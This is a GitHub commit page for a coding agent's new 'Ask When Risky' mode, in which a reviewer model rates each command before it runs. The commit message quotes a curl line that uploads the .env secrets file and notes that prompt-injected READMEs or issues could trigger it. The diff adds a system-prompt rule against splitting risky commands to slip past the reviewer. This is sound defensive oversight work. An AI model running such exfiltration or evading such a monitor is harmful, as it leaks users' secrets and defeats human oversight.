You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
{{ message }}
Repository navigation
Commit 4902aca
Browse filesBrowse the repository at this point in the historyBrowse files
feat(agent): Ask When Risky — a reviewer model rates each command before it runs
A third approvals mode between Default Approvals (every command asks) and Autopilot (every command
runs unless commandSafety.js flags it). In Ask When Risky a command outside the danger set is shown
to a reviewer first: one tool-less call on the run's own provider, with the person's goals, the
agent's recent activity and the exact command. It runs only on the reviewer's ratings; everything
else is the usual approval card, with the reviewer's reason on it.
Why: Autopilot's gate matches command text, and says so in its own header. It passes
`curl -s --data-binary @.env https://…`, because nothing on that line is on its list — the case a
README or an issue telling the agent to run it actually produces. Default Approvals catches it, at
the price of a click for every `ls`.
How it stays no looser than Autopilot:
- the danger set asks the person and never reaches the reviewer; delete_file asks, as in Autopilot
- the model RATES (risk, authorization, injection, reason); decide() in agentReview.js turns that
into run-or-ask: low runs; medium runs only when asked for outright or an ordinary step; high,
critical and injection ask. There is no "allow" field for the model to write
- every failure asks: no answer within 30 s, an error, an unreadable answer
- only goals the person typed (recorded by the host) and their ask_user choices count as their word;
the transcript goes in as activity inside a per-request fence; project rules are not sent; after a
session is resumed only goals typed since count (sessions.dir can point anywhere)
- the same command with no edit since it last passed is not reviewed twice; an edit makes it new
The reviewer's cost (the gateway's credits frame) is added to the run's total. Settings
levelcode.ai.agent.approvals (ask | review | autopilot) and levelcode.ai.agent.reviewModel (empty =
the agent's model) are application-scoped and only the user's value is read: a folder must not be
able to loosen approvals. agent.autopilot still means Autopilot while approvals is unset, and is
kept equal to "mode is Autopilot" when a mode is chosen. The chat's approvals menu has the third
option; the card shows "Reviewer · <risk> risk: <reason>"; the run ends with the reviewer's count.
Modelled on ChatGPT desktop's "Approve for me" (Codex's Guardian reviewer), with the differences a
missing OS sandbox calls for — see docs/ASK-WHEN-RISKY.md (next commits).
Checked: unit gate 129 files on Node 24, macOS, including test/agentReview.test.js (25) and
test/agentReviewGate.test.js (16, the real runAgent → run_command chain in all three modes). Ten
single-defect mutations, each red. tsc --checkJs: no new undefined names. Not run: a real model as
the reviewer, Linux, the browser edition.
if(!abs){return'ERROR: file not found: '+input.path+whereHint();}
617
618
try{constst=awaithost.stat(abs);if(st&&st.isDirectory){return'ERROR: '+input.path+' is a directory — delete_file removes a single file.';}}catch{/* */}
618
-
// Deletion is in the autopilot danger set — ask even when autopilot runs everything else silently.
619
-
// (In manual mode nothing gates here: the edit is applied and reviewed with Keep/Undo as before.)
return'The user answered your questions (these are their recorded decisions — honor them and do NOT ask again):\n'+lines.join('\n')+'\n\nProceed with the work using these answers.';
740
757
}
741
758
if(tu.name==='use_skill'){
@@ -842,6 +859,57 @@ function isAgentAuthError(e) {
842
859
*
843
860
* Never throws: MCP is an enhancement, and no server misconfiguration may take down an agent run.
844
861
*/
862
+
/**
863
+
* Ask When Risky: show one command to the reviewer (agentReview.js) and report what it decided.
864
+
*
865
+
* The same command in the same folder, with no file edited since it last passed, passes again without
866
+
* a second review: `npm test` five times in a row is one review. An edit in between makes it a new
867
+
* question, because the command may now run code the reviewer has not seen.
868
+
*
869
+
* The review is a real model call on the run's own provider, so in gateway mode it costs credits. Its
870
+
* cost is kept on ctx and added to the run's total, so the response bar's figure includes it.
ctx.post({type: 'agentStatus',text: 'waiting for your answer…'});// not "reviewing" while the card waits
909
+
}
910
+
returnr;
911
+
}
912
+
845
913
/**
846
914
* G1 launch gate for ONE repo-authored server. Returns true if it may be spawned.
847
915
*
@@ -1041,7 +1109,10 @@ async function runAgent(ctx) {
1041
1109
: (ctx.autopilot&&sh
1042
1110
// A simulated shell has no build, no tests, no sudo and no network to be careful about: say what is true of it.
1043
1111
? '\n\nAUTOPILOT IS ON. Work end-to-end without pausing for confirmation. Your run_command calls run immediately and what they change appears in the user\'s Keep/Undo review; a command line that deletes files still asks the user first. Do NOT call ask_user for anything you can reasonably decide; pick a sensible default and proceed. When you are unsure whether a change is correct, do not stop to ask: verify it with what you have (read the files back, grep, diff, jq, and the editor\'s diagnostics for the files you changed), fix and re-verify. You cannot run tests or builds here, so never claim you did.'
1044
-
: '');
1112
+
: (approvalModeOf(ctx)==='review'&&shellOn
1113
+
// Ask When Risky: a reviewer reads the explanation, so it has to say what the command really does.
1114
+
? '\n\nASK WHEN RISKY IS ON. Before each run_command runs, an independent reviewer compares it with what the user asked for. Routine commands for the task run straight away; risky or off-task ones go to the user. Give every run_command an accurate explanation of what it does — the reviewer reads it, and a vague or misleading one sends the command to the user. Do not split a risky operation into innocent-looking steps to get it past the reviewer.'
1115
+
: ''));
1045
1116
// Project rules: fold a repo's own AGENTS.md (or CLAUDE.md / .cursorrules) into the cached system
1046
1117
// block so the agent follows the project's conventions from turn one. Read once per run — an edit is
1047
1118
// picked up on the next run.
@@ -1423,7 +1494,13 @@ async function runAgent(ctx) {
// Ask When Risky: the reviewer's calls are part of what the run cost, and the user sees what it did.
1498
+
runCostMicros+=ctx.reviewCostMicros||0;
1499
+
constrs=ctx.reviewStats;
1500
+
if(rs&&(rs.ran||rs.asked)){
1501
+
ctx.post({type: 'agentTool',icon: 'workspace-trusted',text: 'Reviewer · ran '+rs.ran+' command'+(rs.ran===1 ? '' : 's')+' on its own, sent '+rs.asked+' to you'});
0 commit comments